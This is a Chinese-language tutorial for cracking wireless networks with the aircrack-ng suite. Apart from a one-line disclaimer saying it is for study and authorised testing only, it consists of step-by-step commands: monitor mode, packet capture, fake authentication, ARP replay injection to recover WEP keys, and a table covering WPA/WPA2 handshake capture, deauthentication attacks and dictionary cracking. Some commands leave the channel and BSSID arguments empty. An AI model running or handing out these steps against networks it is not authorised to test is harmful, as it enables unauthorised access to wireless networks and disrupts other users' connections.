聲明:本文僅供網絡安全學習、授權滲透測試、自身網絡安全審計使用。未經授權破解他人無線網絡屬於違法行為,嚴禁用於非法用途。
sudo apt-get update && sudo apt-get install -y aircrack-ng# 查看無線網卡接口名
iwconfig
# 或
ip link show
# 啟動監聽模式(假設 wlan0)
sudo airmon-ng start wlan0
# 生成 mon0 或 wlan0mon 接口
sudo airodump-ng mon0
# 觀察:BSSID、CH(頻道)、ENC(加密:WEP/WPA/WPA2)、ESSID、信號強度
# 目標鎖定後 Ctrl+C 退出,記錄 BSSID 和 CH
# 新開終端
sudo airodump-ng -c --bssid -w wep_capture mon0
# -c 指定頻道,--bssid 鎖定 AP,-w 指定輸出文件前綴
# 等待 DATA 帧數量增長(WEP 需 ≥ 15000-20000 IVs)
# 再新開終端
sudo aireplay-ng -1 0 -a -h <本機MAC> mon0
# -1 偽裝認證,0 延遲,-a AP MAC,-h 本機無線網卡 MAC(ifconfig mon0 獲取)
# 成功顯示 "Association successful";失敗嘗試 -1 6000 重試
sudo aireplay-ng -3 -b -h <本機MAC> mon0
# -3 ARP 重放攻擊,自動捕獲 ARP 請求並重發,大幅加速 DATA 增長
# 觀察步驟 3 終端 DATA 欄位飛速增長
# 數據包足夠後(≥20000 IVs),新開終端
sudo aircrack-ng wep_capture*.cap
# 自動嘗試破解,顯示 KEY FOUND! [ 12:34:56:78:90 ]
sudo airmon-ng stop mon0
# 必須停止監聽模式恢復網卡托管模式,否則網卡持續注入影響正常使用
# Ctrl+C 無法停止注入,必須 airmon-ng stop
| 階段 | WEP | WPA/WPA2 |
|---|---|---|
| 認證 | 偽裝認證即可 | 需捕獲 4-way handshake(強制重認證) |
| 攻擊方式 | 統計攻擊(IVs 碰撞) | 字典暴力破解 / 彩虹表 / PMKID 攻擊 |
| 抓包命令 | 同 WEP | airodump-ng -c CH --bssid BSSID -w wpa_cap mon0 |
| 強制重認證 | 不需要 | aireplay-ng -0 10 -a BSSID -c CLIENT_MAC mon0 (Deauth 攻擊) |
| 破解命令 | aircrack-ng *.cap | aircrack-ng -w wordlist.txt wpa_cap*.cap |